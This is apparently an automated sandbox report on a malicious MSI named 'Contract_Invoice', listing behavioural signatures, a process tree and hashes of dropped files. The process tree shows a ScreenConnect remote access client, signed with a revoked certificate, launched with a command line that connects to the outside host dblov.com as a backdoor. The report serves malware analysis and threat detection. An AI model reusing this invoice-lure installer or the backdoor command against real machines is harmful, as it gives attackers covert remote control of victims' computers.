Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 12:17

General

  • Target
    Contract_Invoice/install.msi
  • Size 12.6MB
  • Sample260708-pgdzdaft9x
  • SHA256 2067e236c1df64fee6b2fe36b273c21cc918e947cd915f29239dd7f91bfab4e0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Contract_Invoice\install.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3100
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5432
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 5E838BD954079313B638C506375FAB7B C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5016
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4FDB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240734546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3124
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3860
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EE22535F6961C38DD1825E115ABFBB24
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1084
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B936DA8FDB0CA4F65BBCD2DB5F39E359 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5912
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3500
    • C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=dblov.com&p=8041&s=a9c8f4a8-af16-4552-8b8a-ff74e0452d6d&k=BgIAAACkAABSU0ExAAgAAAEAAQDpRqjRew3uOuWW8mRUOUUqEhDoTO9nFesKh30sP3Ogy95rJa0WAqiSe4mxCxsFaN0GRqF%2bT7PSHDEPMeFhJXtg4DVFn7CX09wDhReUaBOIej4FR%2f8JcuLYY%2fY5xVonYMG4NZ15KyUr8r8eWof3Mwwb2zkWnAZw7lnc2cjRMtSGC2%2bhF3y9SF4eOSl7lMKxN%2fYQ4CC7wKG%2fynzAoImHvEvYRkxzMxKgigzltqT7B2Iw1SibkHyxM%2f6k%2bpTgPMtAWL3ysNbxERHNNKoq5DgztlUXrwj2Sr3sb3X5WMQExcveVYP3XmFC9XhLvIUkAd1X%2faz4K4lAb2AOeFJ2TzDTKGbI"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5144
      • C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe" "RunRole" "d660b9d1-2858-4db0-87a3-1935966eaba6" "User"
        2⤵
        • Executes dropped EXE
        PID:5364
      • C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe" "RunRole" "aaa97df4-faf8-4eed-9b18-881635b668ce" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4944

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e599dae.rbs

          • Path C:\Config.Msi\e599dae.rbs
          • Size 214KB
          • SHA256 457f4ffa532b87dc88eed8c018ee9becb65b87c373786af6c4f956622f180d3c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\Client.Override.en-US.resources
          • Size 257B
          • SHA256 f0923f1ab652740be274fe0bca845b05dafd4eccd73c7d20030342306be7a043
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\app.config
          • Size 1005B
          • SHA256 d941ced9bb070fefe2b2c771b23470fadda02e018fdeff1adecbfc76da027f58
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1848ebcfe87d9dd)\system.config
          • Size 933B
          • SHA256 5ff39d0d831383e01ff0c2b0ce1e2e7c7cd64f905e4bccb845224d5bb804735a
          • MD5 SHA1 SHA512 TLSH

          MSI4FDB.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4FDB.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4FDB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4FDB.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4FDB.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4FDB.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIA38A.tmp

          • Path C:\Windows\Installer\MSIA38A.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e599dad.msi

          • Path C:\Windows\Installer\e599dad.msi
          • Size 12.6MB
          • SHA256 2067e236c1df64fee6b2fe36b273c21cc918e947cd915f29239dd7f91bfab4e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 23937fe797154d66bb19dabed8fa46b93538d0936b20616b37e69093d06a516f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {7629b335-a083-4bb6-8b88-91374e1b3b21}_OnDiskSnapshotProp

          • Path \??\Volume{5c2a9657-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7629b335-a083-4bb6-8b88-91374e1b3b21}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 af750a58b24d0af172d9c329dd7b54c5698da8f7356bff9c64ff1533b73707e7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3124-26-0x0000000003B90000-0x0000000003C1E000-memory.dmp

          memory/3124-30-0x0000000005E40000-0x0000000005FEC000-memory.dmp

          memory/3124-18-0x0000000003AC0000-0x0000000003AEE000-memory.dmp

          memory/3124-31-0x00000000065B0000-0x0000000006B6A000-memory.dmp

          memory/3124-22-0x0000000003AF0000-0x0000000003AFA000-memory.dmp

          memory/5144-107-0x0000000004F50000-0x0000000005025000-memory.dmp

          memory/5144-80-0x00000000048D0000-0x000000000495E000-memory.dmp

          memory/5144-105-0x0000000004CC0000-0x0000000004D01000-memory.dmp

          memory/5144-102-0x0000000004AB0000-0x0000000004AE6000-memory.dmp

          memory/5144-98-0x0000000004A60000-0x0000000004AB0000-memory.dmp

          memory/5144-84-0x0000000004B10000-0x0000000004CBC000-memory.dmp

          memory/5144-74-0x0000000004820000-0x0000000004838000-memory.dmp

          memory/5144-103-0x0000000004D60000-0x0000000004DF2000-memory.dmp

          memory/5364-118-0x000000001B2C0000-0x000000001B34E000-memory.dmp

          memory/5364-116-0x0000000000500000-0x0000000000598000-memory.dmp

          memory/5364-120-0x000000001B900000-0x000000001BA88000-memory.dmp

          memory/5364-121-0x00000000026B0000-0x00000000026C8000-memory.dmp

          memory/5364-122-0x0000000002740000-0x0000000002758000-memory.dmp

          memory/5364-119-0x000000001B750000-0x000000001B8FC000-memory.dmp

          memory/5364-117-0x00000000026D0000-0x0000000002706000-memory.dmp